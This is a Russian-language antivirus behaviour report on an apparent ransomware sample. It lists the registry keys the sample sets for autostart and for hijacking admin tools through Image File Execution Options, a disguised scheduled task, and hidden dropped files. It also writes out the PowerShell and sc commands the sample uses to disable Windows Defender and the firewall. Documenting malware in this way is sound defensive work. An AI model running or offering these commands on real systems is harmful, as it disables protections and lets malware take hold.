Техническая информация
Для обеспечения автозапуска и распространения
Модифицирует следующие ключи реестра
- [HKCU\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Shell' = 'explorer.exe,"<DRIVERS>\etc\svchost32.exe"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] 'Userinit' = '<SYSTEM32>\userinit.exe,"<DRIVERS>\etc\svchost32.exe",'
- [HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce] '*WindowsInit' = '"<DRIVERS>\etc\svchost32.exe"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cmd.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pwsh.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskmgr.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regedit.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msconfig.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mmc.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskschd.msc] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\control.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\eventvwr.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\resmon.exe] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\services.msc] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\compmgmt.msc] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\devmgmt.msc] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\diskmgmt.msc] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
- [HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\gpedit.msc] 'Debugger' = 'wscript.exe "%TEMP%\catcrypt_show.vbs"'
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\microsoft\windows\windowsupdate\svchost
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Диспетчера задач (Taskmgr)
- Редактора реестра (RegEdit)
- Системный антивирус (Защитник Windows)
изменяет следующие системные настройки:
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
- [HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoLogoff' = '00000001'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoClose' = '00000001'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoLogoff' = '00000001'
- [HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableIOAVProtection $true"
Изменения в файловой системе
Создает следующие файлы
- <DRIVERS>\etc\$unlocker_id.ux-cryptobytes
- <DRIVERS>\etc\$boot_marker.tmp
- <DRIVERS>\etc\svchost32.exe
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<Имя файла>.exe.log
- %TEMP%\catcrypt_show.vbs
Присваивает атрибут 'скрытый' для следующих файлов
- <DRIVERS>\etc\$unlocker_id.ux-cryptobytes
- <DRIVERS>\etc\$boot_marker.tmp
- <DRIVERS>\etc\svchost32.exe
Другое
Создает и запускает на исполнение
- '<DRIVERS>\etc\svchost32.exe'
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c schtasks /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "<DRIVERS>\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /delete /tn "\Microsoft\Windows\WindowsUpdate\svchost" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "\Microsoft\Windows\WindowsUpdate\svchost" /tr "<DRIVERS>\etc\svchost32.exe" /sc onlogon /rl HIGHEST /f
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBehaviorMonitoring $true" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableBlockAtFirstSeen $true" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisablePrivacyMode $true" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -SignatureDisableUpdate $true" (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c sc stop WinDefend (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop WinDefend
- '<SYSTEM32>\cmd.exe' /c sc config WinDefend start=disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' config WinDefend start=disabled
- '<SYSTEM32>\cmd.exe' /c sc stop SecurityHealthService (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop SecurityHealthService
- '<SYSTEM32>\cmd.exe' /c sc config SecurityHealthService start=disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' config SecurityHealthService start=disabled
- '<SYSTEM32>\cmd.exe' /c sc stop WdFilter (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop WdFilter
- '<SYSTEM32>\cmd.exe' /c sc config WdFilter start=disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' config WdFilter start=disabled
- '<SYSTEM32>\cmd.exe' /c sc stop WdNisDrv (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop WdNisDrv
- '<SYSTEM32>\cmd.exe' /c sc config WdNisDrv start=disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' config WdNisDrv start=disabled
- '<SYSTEM32>\cmd.exe' /c sc stop WdNisSvc (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop WdNisSvc
- '<SYSTEM32>\cmd.exe' /c sc config WdNisSvc start=disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' config WdNisSvc start=disabled
- '<SYSTEM32>\cmd.exe' /c sc stop WdBoot (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop WdBoot
- '<SYSTEM32>\cmd.exe' /c sc config WdBoot start=disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' config WdBoot start=disabled
- '<SYSTEM32>\cmd.exe' /c sc stop MpsSvc (со скрытым окном)
- '<SYSTEM32>\sc.exe' stop MpsSvc
- '<SYSTEM32>\cmd.exe' /c sc config MpsSvc start=disabled (со скрытым окном)
- '<SYSTEM32>\sc.exe' config MpsSvc start=disabled
- '<DRIVERS>\etc\svchost32.exe' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableRealtimeMonitoring $true" (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -Command "Set-MpPreference -DisableIOAVProtection $true" (со скрытым окном)
